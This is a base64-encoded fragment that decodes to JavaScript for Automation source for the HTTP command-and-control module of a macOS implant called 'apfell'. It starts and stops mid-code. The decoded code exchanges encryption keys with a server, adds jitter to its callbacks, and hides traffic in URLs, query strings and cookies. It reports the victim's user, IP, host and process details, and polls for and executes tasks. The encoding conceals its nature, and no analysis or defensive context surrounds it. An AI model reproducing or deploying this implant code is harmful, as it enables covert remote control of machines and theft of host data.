AgICAgICAgICAgIGxldCBkZWNfa2V5X2NvbGxlY3RhYmxlID0gJC5DRk1ha2VDb2xsZWN0YWJsZShkZWNfa2V5KTsKICAgICAgICAgICAgZGVjX2tleV9jb2xsZWN0YWJsZSA9IGRlY19rZXlfY29sbGVjdGFibGUuYmFzZTY0RW5jb2RlZFN0cmluZ1dpdGhPcHRpb25zKDApLmpzOwogICAgICAgICAgICB0aGlzLmFlc19wc2sgPSBkZWNfa2V5X2NvbGxlY3RhYmxlOwogICAgICAgIH0KICAgICAgICAvL2NvbnNvbGUubG9nKEpTT04uc3RyaW5naWZ5KGpzb25fcmVzcG9uc2UpKTsKICAgICAgICB0aGlzLnBhcmFtZXRlcnMgPSAkKHsidHlwZSI6ICQua1NlY0F0dHJLZXlUeXBlQUVTfSk7CiAgICAgICAgdGhpcy5yYXdfa2V5ID0gJC5OU0RhdGEuYWxsb2MuaW5pdFdpdGhCYXNlNjRFbmNvZGluZyh0aGlzLmFlc19wc2spOwogICAgICAgIHRoaXMuY3J5cHRva2V5ID0gJC5TZWNLZXlDcmVhdGVGcm9tRGF0YSh0aGlzLnBhcmFtZXRlcnMsIHRoaXMucmF3X2tleSwgUmVmKCkpOwogICAgICAgIHRoaXMuZXhjaGFuZ2luZ19rZXlzID0gZmFsc2U7CiAgICAgICAgcmV0dXJuIHN0YWdlMVsndXVpZCddOwogICAgICB9Y2F0Y2goZXJyb3IpewogICAgICAgIC8vY29uc29sZS5sb2coImVycm9yIGluIG5lZ290aWF0ZV9rZXk6ICIgKyBlcnJvci50b1N0cmluZygpKTsKICAgICAgICAkLk5TVGhyZWFkLnNsZWVwRm9yVGltZUludGVydmFsKHRoaXMuZ2VuX3NsZWVwX3RpbWUoKSk7ICAvLyBkb24ndCBzcGluIG91dCBjcmF6eSBpZiB0aGUgY29ubmVjdGlvbiBmYWlscwogICAgICB9CiAgICB9CiAgfQogIGdlbl9zbGVlcF90aW1lKCl7CiAgICAgIC8vZ2VuZXJhdGUgYSB0aW1lIHRoYXQncyB0aGlzLmludGVydmFsICs9ICh0aGlzLmludGVydmFsICogMS90aGlzLmppdHRlcikKICAgICAgbGV0IHBsdXNfbWluID0gTWF0aC5yb3VuZChNYXRoLnJhbmRvbSgpKTsKICAgICAgaWYocGx1c19taW4gPT09IDEpewogICAgICAgICAgcmV0dXJuIHRoaXMuaW50ZXJ2YWwgKyAodGhpcy5pbnRlcnZhbCAqIChNYXRoLnJvdW5kKE1hdGgucmFuZG9tKCkqdGhpcy5qaXR0ZXIpLzEwMCkpOwogICAgICB9ZWxzZXsKICAgICAgICAgIHJldHVybiB0aGlzLmludGVydmFsIC0gKHRoaXMuaW50ZXJ2YWwgKiAoTWF0aC5yb3VuZChNYXRoLnJhbmRvbSgpKnRoaXMuaml0dGVyKS8xMDApKTsKICAgICAgfQogICAgfQogIHByZXBlbmQoKXsKICAgIHJldHVybiBhcmd1bWVudHNbMV0gKyBhcmd1bWVudHNbMF07CiAgfQogIHJfcHJlcGVuZCgpewogICAgcmV0dXJuIGFyZ3VtZW50c1swXS5zbGljZShTdHJpbmcoYXJndW1lbnRzWzFdKS5sZW5ndGgpOwogIH0KICBhcHBlbmQoKXsKICAgIHJldHVybiBhcmd1bWVudHNbMF0gKyBhcmd1bWVudHNbMV07CiAgfQogIHJfYXBwZW5kKCl7CiAgICByZXR1cm4gYXJndW1lbnRzWzBdLnNsaWNlKDAsIC0xICogU3RyaW5nKGFyZ3VtZW50c1sxXSkubGVuZ3RoKTsKICB9CiAgYjY0KCl7CiAgICByZXR1cm4gYmFzZTY0X2VuY29kZShTdHJpbmcoYXJndW1lbnRzWzBdKSk7CiAgfQogIHJfYjY0KCl7CiAgICByZXR1cm4gYmFzZTY0X2RlY29kZShTdHJpbmcoYXJndW1lbnRzWzBdKSk7CiAgfQogIHJhbmRvbV9taXhlZCgpewogICAgICBsZXQgbSA9IFsuLi5BcnJheShOdW1iZXIoYXJndW1lbnRzWzFdKSldLm1hcChpPT4ofn4oTWF0aC5yYW5kb20oKSozNikpLnRvU3RyaW5nKDM2KSkuam9pbignJyk7CiAgICAgIHJldHVybiBhcmd1bWVudHNbMF0gKyBtOwogIH0KICByX3JhbmRvbV9taXhlZCgpewogICAgICByZXR1cm4gYXJndW1lbnRzWzBdLnNsaWNlKDAsIC0xICogTnVtYmVyKGFyZ3VtZW50c1sxXSkpOwogICAgfQogIHJhbmRvbV9udW1iZXIoKXsKICAgICAgbGV0IG0gPSBbLi4uQXJyYXkoTnVtYmVyKGFyZ3VtZW50c1sxXSkpXS5tYXAoaT0+KH5+KE1hdGgucmFuZG9tKCkqMTApKS50b1N0cmluZygxMCkpLmpvaW4oJycpOwogICAgICByZXR1cm4gYXJndW1lbnRzWzBdICsgbTsKICB9CiAgcl9yYW5kb21fbnVtYmVyKCl7CiAgICAgIHJldHVybiBhcmd1bWVudHNbMF0uc2xpY2UoMCwgLTEgKiBOdW1iZXIoYXJndW1lbnRzWzFdKSk7CiAgICB9CiAgcmFuZG9tX2FscGhhKCl7CiAgICAgIGxldCBzID0gImFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVoiOwogICAgICBsZXQgbSA9IEFycmF5KE51bWJlcihhcmd1bWVudHNbMV0pKS5qb2luKCkuc3BsaXQoJywnKS5tYXAoZnVuY3Rpb24oKSB7IHJldHVybiBzLmNoYXJBdChNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiBzLmxlbmd0aCkpOyB9KS5qb2luKCcnKTsKICAgICAgcmV0dXJuIGFyZ3VtZW50c1swXSArIG07CiAgfQogIHJfcmFuZG9tX2FscGhhKCl7CiAgICAgIHJldHVybiBhcmd1bWVudHNbMF0uc2xpY2UoMCwgLTEgKiBOdW1iZXIoYXJndW1lbnRzWzFdKSk7CiAgICB9CiAgY2hvb3NlX3JhbmRvbSgpewogICAgICAgIGxldCBjaG9pY2UgPSBNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkqIGFyZ3VtZW50c1sxXS5sZW5ndGgpOwogICAgICAgIGlmKGNob2ljZSA9PT0gYXJndW1lbnRzWzFdLmxlbmd0aCl7Y2hvaWNlIC09IDE7fQogICAgICAgIHJldHVybiBhcmd1bWVudHNbMF0gKyBhcmd1bWVudHNbMV1bY2hvaWNlXTsKICAgIH0KICAgIHJfY2hvb3NlX3JhbmRvbSgpewoJICAgIGZvcihsZXQgaSA9IDA7IGkgPCBhcmd1bWVudHNbMV0ubGVuZ3RoOyBpKyspewoJICAgICAgICBpZihhcmd1bWVudHNbMF0uaW5jbHVkZXMoYXJndW1lbnRzWzFdW2ldKSl7CgkgICAgICAgICAgICByZXR1cm4gYXJndW1lbnRzWzBdLnJlcGxhY2UoYXJndW1lbnRzWzFdW2ldLCAiIik7CiAgICAgICAgICAgIH0KICAgICAgICB9CgkgICAgcmV0dXJuIGFyZ3VtZW50c1swXTsKICAgIH0KICAgIGdldF92YWx1ZSh2YWx1ZSwgdHJhbnNmb3Jtcyl7CiAgICAgIGxldCB0bXAgPSB2YWx1ZTsKICAgICAgdHJ5IHsKICAgICAgICAgIGlmICh0cmFuc2Zvcm1zLmxlbmd0aCA+IDApIHsKICAgICAgICAgICAgICBmb3IgKGxldCBpID0gdHJhbnNmb3Jtcy5sZW5ndGggLSAxOyBpID49IDA7IGktLSkgewogICAgICAgICAgICAgICAgICBzd2l0Y2ggKHRyYW5zZm9ybXNbaV1bJ2Z1bmN0aW9uJ10pIHsKICAgICAgICAgICAgICAgICAgICAgIGNhc2UgImJhc2U2NCI6CiAgICAgICAgICAgICAgICAgICAgICAgICAgdG1wID0gdGhpcy5yX2I2NCh0bXApOwogICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgY2FzZSAicHJlcGVuZCI6CiAgICAgICAgICAgICAgICAgICAgICAgICAgdG1wID0gdGhpcy5yX3ByZXBlbmQodG1wLCB0cmFuc2Zvcm1zW2ldWydwYXJhbWV0ZXJzJ10pOwogICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgY2FzZSAiYXBwZW5kIjoKICAgICAgICAgICAgICAgICAgICAgICAgICB0bXAgPSB0aGlzLnJfYXBwZW5kKHRtcCwgdHJhbnNmb3Jtc1tpXVsncGFyYW1ldGVycyddKTsKICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgIGNhc2UgInJhbmRvbV9taXhlZCI6CiAgICAgICAgICAgICAgICAgICAgICAgICAgdG1wID0gdGhpcy5yX3JhbmRvbV9taXhlZCh0bXAsIHRyYW5zZm9ybXNbaV1bJ3BhcmFtZXRlcnMnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICBjYXNlICJyYW5kb21fbnVtYmVyIjoKICAgICAgICAgICAgICAgICAgICAgICAgICB0bXAgPSB0aGlzLnJfcmFuZG9tX251bWJlcih0bXAsIHRyYW5zZm9ybXNbaV1bJ3BhcmFtZXRlcnMnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICBjYXNlICJyYW5kb21fYWxwaGEiOgogICAgICAgICAgICAgICAgICAgICAgICAgIHRtcCA9IHRoaXMucl9yYW5kb21fYWxwaGEodG1wLCB0cmFuc2Zvcm1zW2ldWydwYXJhbWV0ZXJzJ10pOwogICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgY2FzZSAiY2hvb3NlX3JhbmRvbSI6CiAgICAgICAgICAgICAgICAgICAgICAgICAgdG1wID0gdGhpcy5yX2Nob29zZV9yYW5kb20odG1wLCB0cmFuc2Zvcm1zW2ldWydwYXJhbWV0ZXJzJ10pOwogICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgfQogICAgICAgICAgfQogICAgICAgICAgcmV0dXJuIHRtcDsKICAgICAgfWNhdGNoKGVycm9yKXsKICAgICAgICAgIHJldHVybiAiIjsKICAgICAgfQogICAgfQogICAgcmV0cmlldmVfbWVzc2FnZShyZXNwb25zZSwgbWV0aG9kPSJQT1NUIil7CiAgICAgIGxldCBkYXRhID0gdGhpcy5nZXRfdmFsdWUoKCQuTlNTdHJpbmcuYWxsb2MuaW5pdFdpdGhEYXRhRW5jb2RpbmcocmVzcG9uc2UsICQuTlNVVEY4U3RyaW5nRW5jb2RpbmcpKS5qcywgdGhpcy5jMl9jb25maWdbbWV0aG9kXVsnU2VydmVyQm9keSddKTsKICAgICAgLy9jb25zb2xlLmxvZygiaW4gcmV0cmlldmVfbWVzc2FnZSwgcmV0dXJuaW5nOiAiICsgZGF0YSk7CiAgICAgIHJldHVybiBkYXRhOwogICAgfQogICAgY3JlYXRlX3ZhbHVlKHZhbHVlLCB0cmFuc2Zvcm1zKXsKICAgICAgZm9yKGxldCBpID0gMDsgaSA8IHRyYW5zZm9ybXMubGVuZ3RoOyBpKyspewogICAgICAgIHN3aXRjaCh0cmFuc2Zvcm1zW2ldWydmdW5jdGlvbiddKXsKICAgICAgICAgIGNhc2UgImJhc2U2NCI6CiAgICAgICAgICAgICAgdmFsdWUgPSB0aGlzLmI2NCh2YWx1ZSk7CiAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICBjYXNlICJwcmVwZW5kIjoKICAgICAgICAgICAgICB2YWx1ZSA9IHRoaXMucHJlcGVuZCh2YWx1ZSwgdHJhbnNmb3Jtc1tpXVsncGFyYW1ldGVycyddKTsKICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgIGNhc2UgImFwcGVuZCI6CiAgICAgICAgICAgICAgdmFsdWUgPSB0aGlzLmFwcGVuZCh2YWx1ZSwgdHJhbnNmb3Jtc1tpXVsncGFyYW1ldGVycyddKTsKICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgIGNhc2UgInJhbmRvbV9taXhlZCI6CiAgICAgICAgICAgICAgdmFsdWUgPSB0aGlzLnJhbmRvbV9taXhlZCh2YWx1ZSwgdHJhbnNmb3Jtc1tpXVsncGFyYW1ldGVycyddKTsKICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgIGNhc2UgInJhbmRvbV9udW1iZXIiOgogICAgICAgICAgICAgIHZhbHVlID0gdGhpcy5yYW5kb21fbnVtYmVyKHZhbHVlLCB0cmFuc2Zvcm1zW2ldWydwYXJhbWV0ZXJzJ10pOwogICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgY2FzZSAicmFuZG9tX2FscGhhIjoKICAgICAgICAgICAgICB2YWx1ZSA9IHRoaXMucmFuZG9tX2FscGhhKHZhbHVlLCB0cmFuc2Zvcm1zW2ldWydwYXJhbWV0ZXJzJ10pOwogICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICJjaG9vc2VfcmFuZG9tIjoKICAgICAgICAgICAgICAgIHZhbHVlID0gdGhpcy5jaG9vc2VfcmFuZG9tKHZhbHVlLCB0cmFuc2Zvcm1zW2ldWydwYXJhbWV0ZXJzJ10pOwogICAgICAgIH0KICAgICAgfQogICAgICByZXR1cm4gdmFsdWU7CiAgICB9CiAgICBjcmVhdGVfbWVzc2FnZShlbmRwb2ludCwgZGF0YSwgYWdlbnRfaWQ9YXBmZWxsLmlkLCBtZXRob2Q9IlBPU1QiKXsKCSAgICBpZih0aGlzLmFlc19wc2sgIT09ICIiKXsKICAgICAgICAgICAgZGF0YSA9IHRoaXMuZW5jcnlwdF9tZXNzYWdlKGFnZW50X2lkLCBKU09OLnN0cmluZ2lmeShkYXRhKSkuanM7CiAgICAgICAgfWVsc2UgaWYodHlwZW9mKHNlbmREYXRhKSA9PT0gInN0cmluZyIpewogICAgICAgIAlkYXRhID0gJCh1aWQgKyBzZW5kRGF0YSkuZGF0YVVzaW5nRW5jb2RpbmcoJC5OU1VURjhTdHJpbmdFbmNvZGluZyk7CiAgICAgICAgICAgIGRhdGEgPSBkYXRhLmJhc2U2NEVuY29kZWRTdHJpbmdXaXRoT3B0aW9ucygwKTsKICAgICAgICB9ZWxzZXsKCSAgICAgICAgZGF0YSA9ICQoYWdlbnRfaWQgKyBKU09OLnN0cmluZ2lmeShkYXRhKSkuZGF0YVVzaW5nRW5jb2RpbmcoJC5OU1VURjhTdHJpbmdFbmNvZGluZyk7CiAgICAgICAgICAgIGRhdGEgPSBkYXRhLmJhc2U2NEVuY29kZWRTdHJpbmdXaXRoT3B0aW9ucygwKS5qczsKICAgICAgICB9CiAgICAgICAgbGV0IGJhc2VfdXJsID0gdGhpcy5nZXRfcmFuZG9tX2VsZW1lbnQoZW5kcG9pbnRbJ3VybHMnXSk7CiAgICAgICAgbGV0IGJhc2VfdXJpID0gZW5kcG9pbnRbJ3VyaSddOwogICAgICAgIGZvcihsZXQgaSBpbiBlbmRwb2ludFsndXJsRnVuY3Rpb25zJ10pewogICAgICAgICAgICBsZXQgdmFsdWUgPSBlbmRwb2ludFsndXJsRnVuY3Rpb25zJ11baV1bJ3ZhbHVlJ107CiAgICAgICAgICAgIGlmKHZhbHVlID09PSB1bmRlZmluZWQpe3ZhbHVlID0gIiI7fQogICAgICAgICAgICBpZih2YWx1ZSA9PT0gIm1lc3NhZ2UiKXt2YWx1ZSA9IGRhdGE7fQogICAgICAgICAgICB2YWx1ZSA9IHRoaXMuY3JlYXRlX3ZhbHVlKHZhbHVlLCBlbmRwb2ludFsndXJsRnVuY3Rpb25zJ11baV1bJ3RyYW5zZm9ybXMnXSk7CiAgICAgICAgICAgIGJhc2VfdXJpID0gYmFzZV91cmkucmVwbGFjZShlbmRwb2ludFsndXJsRnVuY3Rpb25zJ11baV1bJ25hbWUnXSwgdmFsdWUpOwogICAgICAgIH0KICAgICAgICBsZXQgcXVlcnlfc3RyaW5nID0gIj8iOwogICAgICAgIGZvcihsZXQgaSBpbiBlbmRwb2ludFsnUXVlcnlQYXJhbWV0ZXJzJ10pewogICAgICAgICAgICBsZXQgdmFsdWUgPSBlbmRwb2ludFsnUXVlcnlQYXJhbWV0ZXJzJ11baV1bJ3ZhbHVlJ107CiAgICAgICAgICAgIGlmKHZhbHVlID09PSB1bmRlZmluZWQpe3ZhbHVlID0gIiI7fQogICAgICAgICAgICBpZih2YWx1ZSA9PT0gIm1lc3NhZ2UiKXt2YWx1ZSA9IGRhdGE7fQogICAgICAgICAgICB2YWx1ZSA9IHRoaXMuY3JlYXRlX3ZhbHVlKHZhbHVlLCBlbmRwb2ludFsnUXVlcnlQYXJhbWV0ZXJzJ11baV1bJ3RyYW5zZm9ybXMnXSk7CiAgICAgICAgICAgIGxldCBOU0NoYXJhY3RlclNldCA9ICQuTlNDaGFyYWN0ZXJTZXQuY2hhcmFjdGVyU2V0V2l0aENoYXJhY3RlcnNJblN0cmluZygiLys9XG4iKS5pbnZlcnRlZFNldDsKICAgICAgICAgICAgdmFsdWUgPSAkKHZhbHVlKS5zdHJpbmdCeUFkZGluZ1BlcmNlbnRFbmNvZGluZ1dpdGhBbGxvd2VkQ2hhcmFjdGVycyhOU0NoYXJhY3RlclNldCkuanM7CiAgICAgICAgICAgIHF1ZXJ5X3N0cmluZyArPSBlbmRwb2ludFsnUXVlcnlQYXJhbWV0ZXJzJ11baV1bJ25hbWUnXSArICI9IiArIHZhbHVlICsgIiYiOwogICAgICAgIH0KICAgICAgICBiYXNlX3VyaSArPSBxdWVyeV9zdHJpbmcuc2xpY2UoMCwgLTEpOyAvL3Rha2Ugb2ZmIHRyYWlsaW5nICYgb3IgPwogICAgICAgIGxldCBjb29raWVzID0ge307CiAgICAgICAgZm9yKGxldCBpIGluIGVuZHBvaW50WydDb29raWVzJ10pewogICAgICAgICAgICBsZXQgdmFsdWUgPSBlbmRwb2ludFsnQ29va2llcyddW2ldWyd2YWx1ZSddOwogICAgICAgICAgICBpZih2YWx1ZSA9PT0gdW5kZWZpbmVkKXsgdmFsdWUgPSAiIjt9CiAgICAgICAgICAgIGlmKHZhbHVlID09PSAibWVzc2FnZSIpeyB2YWx1ZSA9IGRhdGE7fQogICAgICAgICAgICB2YWx1ZSA9IHRoaXMuY3JlYXRlX3ZhbHVlKHZhbHVlLCBlbmRwb2ludFsnQ29va2llcyddW2ldWyd0cmFuc2Zvcm1zJ10pOwogICAgICAgICAgICBjb29raWVzW2VuZHBvaW50WydDb29raWVzJ11baV1bJ25hbWUnXV0gPSB2YWx1ZTsKICAgICAgICB9CiAgICAgICAgbGV0IGhlYWRlcnMgPSBlbmRwb2ludFsnQWdlbnRIZWFkZXJzJ107CiAgICAgICAgbGV0IGNvb2tpZV9oZWFkZXIgPSAiIjsKICAgICAgICBmb3IobGV0IGkgaW4gY29va2llcyl7CiAgICAgICAgICAgIGNvb2tpZV9oZWFkZXIgKz0gaSArICI9IiArIGNvb2tpZXNbaV0gKyAiOyI7CiAgICAgICAgfQogICAgICAgIGlmKGNvb2tpZV9oZWFkZXIgIT09ICIiKXsKICAgICAgICAgICAgaGVhZGVyc1snQ29va2llJ10gPSBjb29raWVfaGVhZGVyOwogICAgICAgIH0KICAgICAgICBsZXQgdXJsID0gYmFzZV91cmwgKyBiYXNlX3VyaTsKICAgICAgICBsZXQgYm9keSA9IHRoaXMuY3JlYXRlX3ZhbHVlKGRhdGEsIGVuZHBvaW50WydCb2R5J10pOwogICAgICAgIC8vIG5vdyBtYWtlIHRoZSByZXF1ZXN0IG9iamVjdAogICAgICAgIGxldCByZXEgPSAkLk5TTXV0YWJsZVVSTFJlcXVlc3QuYWxsb2MuaW5pdFdpdGhVUkwoJC5OU1VSTC5VUkxXaXRoU3RyaW5nKHVybCkpOwogICAgICAgIGZvcihsZXQgaSBpbiBoZWFkZXJzKSB7CiAgICAgICAgICAgIHJlcS5zZXRWYWx1ZUZvckhUVFBIZWFkZXJGaWVsZCgkLk5TU3RyaW5nLmFsbG9jLmluaXRXaXRoVVRGOFN0cmluZyhoZWFkZXJzW2ldKSwgJC5OU1N0cmluZy5hbGxvYy5pbml0V2l0aFVURjhTdHJpbmcoaSkpOwogICAgICAgIH0KICAgICAgICBpZihtZXRob2QgPT09ICJQT1NUIikgewogICAgICAgICAgICByZXEuc2V0SFRUUE1ldGhvZCgkLk5TU3RyaW5nLmFsbG9jLmluaXRXaXRoVVRGOFN0cmluZygiUE9TVCIpKTsKICAgICAgICAgICAgbGV0IHBvc3REYXRhID0gJChib2R5KS5kYXRhVXNpbmdFbmNvZGluZ0FsbG93TG9zc3lDb252ZXJzaW9uKCQuTlNTdHJpbmcuTlNBU0NJSVN0cmluZ0VuY29kaW5nLCB0cnVlKTsKICAgICAgICAgICAgbGV0IHBvc3RMZW5ndGggPSAkLk5TU3RyaW5nLnN0cmluZ1dpdGhGb3JtYXQoIiVkIiwgcG9zdERhdGEubGVuZ3RoKTsKICAgICAgICAgICAgcmVxLmFkZFZhbHVlRm9ySFRUUEhlYWRlckZpZWxkKHBvc3RMZW5ndGgsICQuTlNTdHJpbmcuYWxsb2MuaW5pdFdpdGhVVEY4U3RyaW5nKCdDb250ZW50LUxlbmd0aCcpKTsKICAgICAgICAgICAgcmVxLnNldEhUVFBCb2R5KHBvc3REYXRhKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJlcTsKICAgIH0KICBnZXRDb25maWcoKXsKICAgIC8vQSBSRVNUZnVsIGJhc2UgY29uZmlnIGNvbnNpc3RzIG9mIHRoZSBmb2xsb3dpbmc6CiAgICAvLyAgQmFzZVVSTCAoaW5jbHVkZXMgUG9ydCksIENhbGxiYWNrSW50ZXJ2YWwsIEtpbGxEYXRlIChub3QgaW1wbGVtZW50ZWQgeWV0KQogICAgbGV0IGNvbmZpZyA9IHsKICAgICAgIkMyIjogewogICAgICAgICAgImNvbW1hbmRzIjogdGhpcy5jb21tYW5kcy5qb2luKCIsIiksCiAgICAgICAgICAiYXBpX3ZlcnNpb24iOiB0aGlzLmFwaV92ZXJzaW9uLAogICAgICAgICAgImFlc19wc2siOiB0aGlzLmFlc19wc2ssCiAgICAgICAgICAiY29uZmlnIjogdGhpcy5jMl9jb25maWcKICAgICAgfSwKICAgICAgIkhvc3QiOiB7CiAgICAgICAgICAidXNlciI6IGFwZmVsbC51c2VyLAogICAgICAgICAgImZ1bGxOYW1lIjogYXBmZWxsLmZ1bGxOYW1lLAogICAgICAgICAgImlwcyI6IGFwZmVsbC5pcCwKICAgICAgICAgICJob3N0cyI6IGFwZmVsbC5ob3N0LAogICAgICAgICAgImVudmlyb25tZW50IjogYXBmZWxsLmVudmlyb25tZW50LAogICAgICAgICAgInVwdGltZSI6IGFwZmVsbC51cHRpbWUsCiAgICAgICAgICAiYXJncyI6IGFwZmVsbC5hcmdzLAogICAgICAgICAgInBpZCI6IGFwZmVsbC5waWQsCiAgICAgICAgICAiYXBmZWxsX2lkIjogYXBmZWxsLmlkLAogICAgICAgICAgInBheWxvYWRfaWQiOiBhcGZlbGwudXVpZAogICAgICB9fTsKICAgIHJldHVybiBKU09OLnN0cmluZ2lmeShjb25maWcsIG51bGwsIDIpOwogIH0KICBjaGVja2luKGlwLCBwaWQsIHVzZXIsIGhvc3QsIG9zLCBhcmNoaXRlY3R1cmUpewogICAgbGV0IGluZm8gPSB7J2lwJzppcCwncGlkJzpwaWQsJ3VzZXInOnVzZXIsJ2hvc3QnOmhvc3QsJ3V1aWQnOmFwZmVsbC51dWlkLCAib3MiOiBvcywgImFyY2hpdGVjdHVyZSI6IGFyY2hpdGVjdHVyZSwgImFjdGlvbiI6ICJjaGVja2luIn07CiAgICBpZih1c2VyID09PSAncm9vdCcpe2luZm9bJ2ludGVncml0eV9sZXZlbCddID0gMzt9CiAgICAvL2xldCByZXEgPSBudWxsOwogICAgbGV0IGpzb25kYXRhID0gbnVsbDsKICAgIGlmKHRoaXMuZXhjaGFuZ2luZ19rZXlzKXsKICAgICAgICBsZXQgc2Vzc2lvbklEID0gdGhpcy5uZWdvdGlhdGVfa2V5KCk7CiAgICAgICAganNvbmRhdGEgPSB0aGlzLm1ha2VfcmVxdWVzdCgiUE9TVCIsIHNlc3Npb25JRCwgaW5mbyk7CiAgICB9ZWxzZXsKICAgICAgICBqc29uZGF0YSA9IHRoaXMubWFrZV9yZXF1ZXN0KCJQT1NUIiwgYXBmZWxsLnV1aWQsIGluZm8pOwogICAgfQogICAgYXBmZWxsLmlkID0ganNvbmRhdGEuaWQ7CiAgICAvLyBpZiB3ZSBmYWlsIHRvIGdldCBhbiBJRCBudW1iZXIgdGhlbiBleGl0IHRoZSBhcHBsaWNhdGlvbgogICAgaWYoYXBmZWxsLmlkID09PSB1bmRlZmluZWQpeyAkLk5TQXBwbGljYXRpb24uc2hhcmVkQXBwbGljYXRpb24udGVybWluYXRlKHRoaXMpOyB9CiAgICByZXR1cm4ganNvbmRhdGE7CiAgfQogIGdldFRhc2tpbmcoKXsKICAgIHdoaWxlKHRydWUpewogICAgICAgIHRyeXsKICAgICAgICAgICAgbGV0IHRhc2sgPSB0aGlzLm1ha2VfcmVxdWVzdCgiR0VUIiwgYXBmZWxsLmlkLCAgeyJ0YXNraW5nX3NpemUiOjEsICJhY3Rpb24iOiAiZ2V0X3Rhc2tpbmcifSk7CiAgICAgICAgICAgIHJldHVybiB0YXNrWyd0YXNrcyddOwogICAgICAgIH0KICAgICAgICBjYXRjaChlcnJvcil7CiAgICAgICAgICAgIC8vY29uc29sZS5sb2coImVycm9yIGluIGdldFRhc2tpbmc6ICIgKyBlcnJvci50b1N0cmluZygpKTsKICAgICAgICAgICAgJC5OU1RocmVhZC5zbGVlcEZvclRpbWVJbnRlcnZhbCh0aGlzLmdlbl9zbGVlcF90aW1lKCkpOyAgLy8gZG9uJ3Qgc3BpbiBvdXQgY3JhenkgaWYgdGhlIGNvbm5lY3Rpb24gZmFpbHMKICAgICAgICB9CiAgICB9CiAgfQogIHBvc3RSZXNwb25zZSh0YXNrLCBkYXRhKXsKICAgIC8vZGVwZW5kaW5nIG9uIHRoZSBhbW91bnQgb2YgZGF0YSB3ZSdyZSBzZW5kaW5nLCB3ZSBtaWdodCBuZWVkIHRvIGNodW5rIGl0CiAgICBkYXRhWyd0YXNrX2lkJ10gPSB0YXNrLmlkOwogICAgbGV0IHBvc3REYXRhID0geyJhY3Rpb24iOiAicG9zdF9yZXNwb25zZSIsICJyZXNwb25zZXMiOiBbZGF0YV19OwogICAgcmV0dXJuIHRoaXMubWFrZV9yZXF1ZXN0KCJQT1NUIiwgYXBmZWxsLmlkLCBwb3N0RGF0YSApOwogIH0KICBtYWtlX3JlcXVlc3QobWV0aG9kPSJQT1NUIiwgdWlkPWFwZmVsbC5pZCwgZGF0YT1udWxsKXsKICAgIHdoaWxlKHRydWUpewogICAgICB0cnl7CiAgICAgICAgICBsZXQgcmVxOwogICAgICAgICAgaWYobWV0aG9kID09PSAiUE9TVCIpewogICAgICAgICAgICAgIGlmKHRoaXMucG9zdF9tZXNzYWdlcy5sZW5ndGggPiAwKSB7CiAgICAgICAgICAgICAgICAgIHJlcSA9IHRoaXMuY3JlYXRlX21lc3NhZ2UodGhpcy5nZXRfcmFuZG9tX2VsZW1lbnQodGhpcy5wb3N0X21lc3NhZ2VzKSwgZGF0YSwgdWlkLCBtZXRob2QpOwogICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICByZXEgPSB0aGlzLmNyZWF0ZV9tZXNzYWdlKHRoaXMuZ2V0X3JhbmRvbV9lbGVtZW50KHRoaXMuZ2V0X21lc3NhZ2VzKSwgZGF0YSwgdWlkLCBtZXRob2QpOwogICAgICAgICAgICAgIH0KICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgIGlmKHRoaXMuZ2V0X21lc3NhZ2VzLmxlbmd0aCA+IDApewogICAgICAgICAgICAgICAgICByZXEgPSB0aGlzLmNyZWF0ZV9tZXNzYWdlKHRoaXMuZ2V0X3JhbmRvbV9lbGVtZW50KHRoaXMuZ2V0X21lc3NhZ2VzKSwgZGF0YSwgdWlkLCBtZXRob2QpOwogICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICByZXEgPSB0aGlzLmNyZWF0ZV9tZXNzYWdlKHRoaXMuZ2V0X3JhbmRvbV9lbGVtZW50KHRoaXMucG9zdF9tZXNzYWdlcyksIGRhdGEsIHVpZCwgbWV0aG9kKTsKICAgICAgICAgICAgICB9CiAgICAgICAgICB9CiAgICAgICAgICAvL2ZvciBzb21lIHJlYXNvbiBpdCBzb21ldGltZXMgcmFuZG9tbHkgZmFpbHMgdG8gc2VuZCB0aGUgZGF0YSwgdGhyb3dpbmcgYSBKU09OIGVycm9yLiBsb29wIHRvIGZpeCBmb3Igbm93CiAgICAgICAgbGV0IHJlc3BvbnNlID0gUmVmKCk7CiAgICAgICAgbGV0IGVycm9yID0gUmVmKCk7CiAgICAgICAgbGV0IHJlc3BvbnNlRGF0YSA9ICQuTlNVUkxDb25uZWN0aW9uLnNlbmRTeW5jaHJvbm91c1JlcXVlc3RSZXR1cm5pbmdSZXNwb25zZUVycm9yKHJlcSxyZXNwb25zZSxlcnJvcik7CiAgICAgICAgcmVzcG9uc2VEYXRhID0gdGhpcy5yZXRyaWV2ZV9tZXNzYWdlKHJlc3BvbnNlRGF0YSwgbWV0aG9kKTsKICAgICAgICBpZiggcmVzcG9uc2VEYXRhLmxlbmd0aCA8IDM2KXsKICAgICAgICAgICAgJC5OU1RocmVhZC5zbGVlcEZvclRpbWVJbnRlcnZhbCh0aGlzLmdlbl9zbGVlcF90aW1lKCkpOwogICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgbGV0IHJlc3AgPSAkLk5TRGF0YS5hb